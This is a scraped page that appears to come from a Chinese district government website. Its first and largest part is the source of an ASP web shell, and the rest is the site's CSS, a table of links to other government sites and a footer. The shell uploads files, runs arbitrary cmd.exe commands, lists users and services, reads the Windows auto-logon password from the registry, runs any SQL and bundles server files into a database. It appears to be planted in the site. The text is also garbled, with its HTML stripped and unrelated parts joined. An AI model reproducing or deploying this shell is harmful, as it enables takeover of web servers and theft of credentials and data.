" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function NewFolder(Path) If Not fso.FolderExists(Path) and Path<>"" Then fso.CreateFolder Path RW="



目录" & Path & "新建成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function End Class Function UpFile() dim strFileName If Request("Action2")="Post" Then Set U=new UPC : Set F=U.UA("LocalFile") UName=U.form("ToPath") If UName="" Or F.FileSize=0 then RW="
请输入上传的完全路径后选择一个文件上传!" Else F.SaveAs UName If Err.number=0 Then RW="



文件" & UName & "上传成功!
" End if End If Set F=nothing:Set U=nothing RW=RW & BackUrl Response.Write RW ShowErr() Response.End End If RW="
" RW=RW & "" RW=RW & "" RW=RW & "
上传文件
" RW=RW & "上传路径: " RW=RW & " " RW=RW & "" RW=RW & "
" Response.Write RW End Function Dim T1 Class UPC Dim D1,D2 Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject("Scripting.Dictionary") if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=CreateObject("Scripting.Dictionary") vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0)) TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End Sub End Class Class FIF dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end function End Class Function CmdShell() dim checked,DefCmd,CM,DD,aaa,szTempFile,oFilelcx If Request("SP")<>"" Then Session("ShellPath") = Request("SP") ShellPath=Session("ShellPath") if ShellPath="" Then ShellPath = "cmd.exe" if Request("wscript")="yes" then checked=" checked" else checked="" end if If Request("cmd")<>"" Then DefCmd = Request("cmd") RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
Cmd命令行
SHELL路径: " RW=RW & "WScript.Shell
 
" Response.Write RW : RW="" : aaa="" End Function Function TSearch() dim st st=timer() RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
搜索引擎
 路  径: 注:多路径使用"",""号连接.
 关键字: 
" Response.Write RW : RW="" if Request.Form("Sfk")<>"" then Set newsearch=new SearchFile newsearch.Folders=trim(Request.Form("SFpath")) newsearch.keyword=trim(Request.Form("Sfk")) newsearch.Search Set newsearch=Nothing Response.Write "费时:"&(timer()-st)*1000&"毫秒
" end if End Function Class SearchFile dim Folders,keyword,objFso,Counter Private Sub Class_Initialize Set objFso=Server.CreateObject(ObT(0,0)) Counter=0 End Sub Private Sub Class_Terminate Set objFso=Nothing End Sub Function Search Folders=split(Folders,",") flag=instr(keyword,"\") or instr(keyword,"/") flag=flag or instr(keyword,":") flag=flag or instr(keyword,"|") flag=flag or instr(keyword,"&") if flag then Response.Write "

关键字不能包含/\:|&
" Exit Function else Response.Write "


" end if dim i for i=0 to ubound(Folders) Call GetAllFile(Folders(i)) next Response.Write "

共搜索到"&Counter&"个结果
" End Function Private Function GetAllFile(Folder) dim objFd,objFs,objFf Set objFd=objFso.GetFolder(Folder) Set objFs=objFd.SubFolders Set objFf=objFd.Files dim strFdName On Error Resume Next For Each OneDir In objFs strFdName=OneDir.Name If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then SFN=Folder&"\"&strFdName Call GetAllFile(SFN) End If Next dim strFlName For Each OneFile In objFf strFlName=OneFile.Name If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then FN=Folder&"\"&strFlName Counter=Counter+ColorOn(FN) End If Next Set objFd=Nothing Set objFs=Nothing Set objFf=Nothing End Function Private Function CreatePattern(keyword) CreatePattern=keyword CreatePattern=Replace(CreatePattern,".","\.") CreatePattern=Replace(CreatePattern,"+","\+") CreatePattern=Replace(CreatePattern,"(","\(") CreatePattern=Replace(CreatePattern,")","\)") CreatePattern=Replace(CreatePattern,"[","\[") CreatePattern=Replace(CreatePattern,"]","\]") CreatePattern=Replace(CreatePattern,"{","\{") CreatePattern=Replace(CreatePattern,"}","\}") CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") CreatePattern="("&CreatePattern&")+" End Function Private Function ColorOn(FileName) dim objReg Set objReg=new RegExp objReg.Pattern=CreatePattern(keyword) objReg.IgnoreCase=True objReg.Global=True retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) if retVal then OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") OutPut="

 " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut Response.Write OutPut Response.flush ColorOn=1 else ColorOn=0 end if Set objReg=Nothing End Function End Class Function Course() dim sa,obj,objCourse,RW0,RW1,RW2 RW="
" RW=RW & "" On Error Resume Next Set sa=CreateObject("Shell.Application") Set objCourse=GetObject("WinNT://.") for each obj in objCourse Err.Clear if obj.StartType="" then RW=RW & "" RW=RW & "" RW0="" end if if obj.StartType=2 then lx="自动" if obj.StartType=3 then lx="手动" if obj.StartType=4 then lx="禁用" if LCase(mid(obj.path,4,3))<>"win" and obj.StartType=2 then RW1=RW1 & "" else RW2=RW2 & "" end if next Set objCourse=Nothing Set sa=Nothing Response.Write RW & RW0 & RW1 & RW2 & "
系统用户与服务
 " RW=RW & obj.Name RW=RW & " " RW=RW & "系统用户(组)" RW=RW & "
 
 [启动类型:"&lx&"] "&obj.Name&"---"&obj.DisplayName&"
 [运行状态:"&sa.IsServiceRunning(obj.Name)&"] "&obj.path&"
 [启动类型:"&lx&"] "&obj.Name&"---"&obj.DisplayName&"
 [运行状态:"&sa.IsServiceRunning(obj.Name)&"] "&obj.path&"
" :RW="" :RW0="" :RW1="" :RW2="" End Function Function TRegedit() dim WSHShell,isReadstr dim autoLoginPath,autoLoginEnableKey,autoLoginUserKey,autoLoginPassKey dim autoLoginEnable,autoLoginUser,autoLoginPass RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" if Request("id")="AutoLogon" then set WSHShell=Server.CreateObject(ObT(1,0)) autoLoginPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" autoLoginEnableKey="AutoAdminLogon" autoLoginUserKey="DefaultUserName" autoLoginPassKey="DefaultPassword" autoLoginEnable=WSHShell.RegRead(autoLoginPath & autoLoginEnableKey) if autoLoginEnable=0 then RW=RW & "
注册表操作
 快速通道:[终端端口]" RW=RW & " [自动登录信息]" RW=RW & "
 项路径:
 值名称: 
 例如:读取终端端口
项路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
" RW=RW & "值名称:PortNumber

 系统自动登录功能未开启
" else autoLoginUser=WSHShell.RegRead(autoLoginPath & autoLoginUserKey) RW=RW & "
 自动登录的系统帐户:" & autoLoginUser & "
" On Error Resume Next autoLoginPass=WSHShell.RegRead(autoLoginPath & autoLoginPassKey) If Err Then Err.Clear RW=RW & " 自动登录的帐户密码:" & autoLoginPass & "" Response.Write RW:RW="" end if end if if (Request("TRPath")<>"") and (Request("TRName")<>"") then Set WSHShell=Server.CreateObject(ObT(1,0)) isReadstr=WSHShell.RegRead(Request("TRPath") & Request("TRName")) RW=RW & "
 该值是:" & isReadstr & "" Set WSHShell=Nothing else RW=RW & "" end if Response.Write RW:RW="" End Function Function ServerInfo() RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" For i=0 To 13 RW=RW & "" Next Response.Write RW : RW="" End Function Function DbManager() SqlStr=Trim(Request.Form("SqlStr")) DbStr=Request.Form("DbStr") RW="
服务器组件信息
服务器名 "&ServerNM&"
服务器IP " & ServerIP & "
服务器时间 "&now&" 
服务器CPU数量 "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
服务器操作系统 "&Request.ServerVariables("OS")&"
WEB服务器版本 "&Request.ServerVariables("SERVER_SOFTWARE")&"
"&ObT(i,0)&""&IsObj(ObT(i,0))&""&ObT(i,1)&"
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
数据库操作
 数据库连接串:
 SQL操作命令:
" Response.Write RW:RW="" If Len(DbStr)>40 Then Set Conn=CreateObject(ObT(5,0)) Conn.Open DbStr Set Rs=Conn.OpenSchema(20) RW=RW & "" Rs.MoveFirst Do While Not Rs.Eof If Rs("TABLE_TYPE")="TABLE" then TName=Rs("TABLE_NAME") RW=RW & "" End If Rs.MoveNext Loop Set Rs=Nothing RW=RW & "

[ del ]
" RW=RW & ""&TName&"
" Response.Write RW:RW="" If Len(SqlStr)>10 Then If LCase(Left(SqlStr,6))="select" then RW=RW & "
执行语句:"&SqlStr&"
" Set Rs=CreateObject("Adodb.Recordset") Rs.open SqlStr,Conn,1,1 FN=Rs.Fields.Count RC=Rs.RecordCount Rs.PageSize=20 Count=Rs.PageSize PN=Rs.PageCount Page=request("Page") If Page<>"" Then Page=Clng(Page) If Page="" Or Page=0 Then Page=1 If Page>PN Then Page=PN If Page>1 Then Rs.absolutepage=Page RW=RW & "" For n=0 to FN-1 Set Fld=Rs.Fields.Item(n) RW=RW & "" Set Fld=nothing Next RW=RW & "" Do While Not(Rs.Eof or Rs.Bof) And Count>0 Count=Count-1 Bgcolor="#EFEFEF" RW=RW & "" For i=0 To FN-1 If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if If RC=1 Then ColInfo=HTMLEncode(Rs(i)) Else ColInfo=HTMLEncode(Left(Rs(i),50)) End If RW=RW & "" Next RW=RW & "" Rs.MoveNext Loop Response.Write RW:RW="" SqlStr=HtmlEnCode(SqlStr) RW=RW & "
"&Fld.Name&"
x"&ColInfo&"
记录数:"&RC&" 页码:"&Page&"/"&PN If PN>1 Then RW=RW & "  首页 上一页 " If Page>8 Then:Sp=Page-8:Else:Sp=1:End if For i=Sp To Sp+8 If i>PN Then Exit For If i=Page Then RW=RW & i&" " Else RW=RW & ""&i&" " End If Next RW=RW & " 下一页 尾页" End If RW=RW & "
" Rs.Close:Set Rs=Nothing Response.Write RW:RW="" Else Conn.Execute(SqlStr) RW=RW & "SQL语句:"&SqlStr End If Response.Write RW:RW="" End If Conn.Close Set Conn=Nothing End If End Function Function ToMdb() Response.Expires=0 RW="
" RW=RW & "" RW=RW & "" RW=RW & "
打包入库/出库
入库 出库 路径: 
" Response.Write RW:RW="" if request.form("Files")<>"" and request.form("R1")="V1" then set fso=CreateObject(ObT(0,0)) set ads=Server.CreateObject(ObT(6,0)) response.write "
" db="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&server.mappath(Mid(request.form("Files"),InstrRev(request.form("Files"),"\")+1)) Set conn=Server.CreateObject(ObT(5,0)) Set Ca=Server.CreateObject(ObT(2,0)) Ca.Create db conn.open db conn.Execute"CREATE TABLE wz(id int IDENTITY(1,1) PRIMARY KEY CLUSTERED,folder VARCHAR,file VARCHAR,body image)" Set Ca=Nothing Set rs=Server.CreateObject("ADODB.RecordSet") rs.Open "select * from wz",conn,3,3 Call SF(Mid(RRePath(request.form("Files")),1,InstrRev(request.form("Files"),"\")-1),Mid(request.form("Files"),InstrRev(request.form("Files"),"\")+1),InstrRev(Mid(RRePath(request.form("Files")),1,InstrRev(request.form("Files"),"\")-1),"\")+1) rs.close conn.close Set conn=Nothing Set rs=Nothing Set fold=Nothing Set ads=Nothing Set fso=Nothing Response.Write "
" Response.Write("") end if if request.form("Files")<>"" and request.form("R1")="V2" then Response.Write "

" Set conn=Server.CreateObject(ObT(5,0)) Set rs=Server.CreateObject("ADODB.RecordSet") conn.open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&request.form("Files") rs.Open "select * from wz",conn,3,3 Set ads=Server.CreateObject(ObT(6,0)) Set fso=Server.CreateObject(ObT(0,0)) do while not(rs.eof or rs.bof) folder=Mid(RRePath(request.form("Files")),1,InstrRev(request.form("Files"),"\")) & rs("folder") file=folder & "\" & rs("file") path=folder if not fso.FolderExists(folder) then fso.CreateFolder(folder) if (not fso.FileExists(file)) and (rs("file")<>"") then ads.Open ads.Type=1 ads.write rs("body") ads.SaveToFile file,2 ads.close end if Response.Write "
 出库 > " & file & "
" Response.Flush rs.movenext loop Response.Write "
" Response.Write("") session("name")=session("name")+1 rs.close conn.close Set ads=Nothing Set conn=Nothing Set rs=Nothing Set fso=Nothing end if End Function Function SF(Path,name,sz) dim a,pf,pi set fold=Fso.GetFolder(Path) For Each i in Fold.files a=1 pf=Mid(Path,sz) pi=RRePath(Path&"\"&i.Name) Call Mdb(pi,name,pf) Next if a="" then Call Mdb(Path,name,Mid(Path,sz)) a="" For Each F in FOLD.subfolders Call SF(RRePath(Path & "\" & F.Name),name,sz) Next End Function Function Mdb(pi,name,pf) dim body,file on error resume next if Mid(pi,InstrRev(pi,"\")+1)<>name then if Mid(pi,InstrRev(pi,"\")+1)<>"" then ads.Open ads.Type=1 ads.LoadFromFile pi file=Mid(pi,InstrRev(pi,"\")+1) if Err then Err.clear file="" body="" else body=ads.read Response.Write "
 入库 > "&pi&"
" Response.Flush end if ads.Close end if rs.addnew rs("folder")=pf rs("file")=file rs("body")=body rs.update end if End Function Select Case Action Case "ShowFile":Set SFSO=New LBF:SFSO.ShowFile(Session("FolderPath")):Set SFSO=Nothing Case "DownFile":DownFile FName Case "EditFile":Set SFSO=New LBF:SFSO.EditFile(FName):Set SFSO=Nothing Case "DelFile":Set SFSO=New LBF:SFSO.DelFile(FName):Set SFSO=Nothing Case "CopyFile":Set SFSO=New LBF:SFSO.CopyFile(FName):Set SFSO=Nothing Case "MoveFile":Set SFSO=New LBF:SFSO.MoveFile(FName):Set SFSO=Nothing Case "DelFolder":Set SFSO=New LBF:SFSO.DelFolder(FName):Set SFSO=Nothing Case "CopyFolder":Set SFSO=New LBF:SFSO.CopyFolder(FName):Set SFSO=Nothing Case "MoveFolder":Set SFSO=New LBF:SFSO.MoveFolder(FName):Set SFSO=Nothing Case "NewFolder":Set SFSO=New LBF:SFSO.NewFolder(FName):Set SFSO=Nothing Case "UpFile":UpFile() Case "CmdShell":CmdShell() Case "TSearch":TSearch() Case "Course":Course() Case "TRegedit":TRegedit() Case "ServerInfo":ServerInfo() Case "DbManager":DbManager() Case "ToMdb":ToMdb() Case "Logout":Session.Contents.Remove("webadmin"):Response.Redirect URL Case Else MainMenu() End Select ShowErr() %> } .title_maintxt { FONT-FAMILY: 宋体; FONT-SIZE: 9pt; color: #003366; line-height: 150%; } .title_main { BACKGROUND-COLOR: #DFE6EE; BORDER-BOTTOM: #89a5e6 1px solid; BORDER-LEFT: #89a5e6 1px solid; BORDER-RIGHT: #89a5e6 1px solid; BORDER-TOP: #89a5e6 1px solid; COLOR: #205064; HEIGHT: 18px; border-color: #B2C2D7 #B2C2D7 #B2C2D7 #B2C2D7; font-size: 9pt } .tdbg_main { FONT-SIZE: 9pt;HEIGHT: 20px; } .title_main2 { FONT-SIZE: 9pt;HEIGHT: 20px; } .tdbg_main2 { border:#ffffff 1px solid ;background:#EDF1F6; } .tdbg_mainall { background:#DFE6EE; BORDER-bottom: #B2C2D7 1px solid; } .title_righttxt { background:#000000; } .title_right { background:url(Skin/2/title_left.gif);height: 22; } .tdbg_right { background:#DFE6EE; } .title_right2 { background:url(Skin/2/txt_css.gif);height: 36; } .tdbg_right2 { color: #333333; filter: DropShadow(Color=#ffffff, OffX=1, OffY=1, Positive=1) } .tdbg_rightall { background:url(Skin/2/title_left.gif);height: 22; } .topborder { background:#DFE6EE; } .nav_top { background:#DFE6EE; } .nav_main { } .nav_bottom { background:#DFE6EE; BORDER-right: #B2C2D7 1px solid; } .nav_menu { color: #000000; filter: DropShadow(Color=#ffffff, OffX=1, OffY=1, Positive=1) } .menu { background:url(Skin/2/title_main.gif);height: 22; } td.MenuBody { background:url(Skin/2/tdbg_main2.GIF);line-height: 100%; }

链接类型 网站名称 网站LOGO 网站简介 站长 操作
区内链接 人劳社保局   小河区人事劳动和社会保障局 小河区人事劳动和社会保障局
区内链接 小河党建   小河党建网 小河区委组织部
LOGO链接 《当代贵州》 《当代贵州》 《当代贵州》杂志社
LOGO链接 中国投资指南 中国投资指南 中华人民共和国商务部
区内链接 司法局   小河法律在线 司法局
LOGO链接 小河人事劳动和社会保障网 小河人事劳动和社会保障网 余卫华
LOGO链接 小河廉政网 小河廉政网 中共小河区纪律检查委员会
LOGO链接 中国开发区网 中国开发区网站(www.devezone.com) 巨灵资讯
区内链接 保密局   小河区国家保密局 zhenyu
LOGO链接 中华人民共和国中央人民政府 中华人民共和国中央人民政府 中国政府网
LOGO链接 贵州省人民政府 贵州省人民政府 贵州省人民政府信息管理中心
文字链接 贵州省国际电子商务网   贵州省国际电子商务中心 贵州省国际电子商务中心
区内链接 计划发展局   贵阳经济技术开发区计划发展局 贵阳经济技术开发区计划发展局
LOGO链接 贵州信息港 贵州信息港 中国电信集团贵州省电信公司
LOGO链接 天津经济技术开发区 “泰达在线”是天津经济技术开发区官方网站,由天津开发区管理委员会统一建设管理。 易泰达科技有限公司
LOGO链接 中国开发区网 中国开发区协会 中国开发区协会信息中心
LOGO链接 贵阳通 贵阳通 贵州省贵阳市信息中心
文字链接 新天园区   新天园区 新天园区
LOGO链接 贵阳市人民政府 贵阳市人民政府 贵阳市人民政府
文字链接 白云区人民政府   白云区人民政府 白云区人民政府
30 个站点      页次:1/2页  20个站点/页 转到:

设为首页 | 加入收藏 | 管理员信箱 | 友情链接 | 版权申明 | 管理登录 | 
版权所有 Copyright© 2004-2009 GetaNIC      页面执行时间:31.25毫秒
小河-贵阳经济技术开发区新华网-贵州频道
黔ICP备05001378号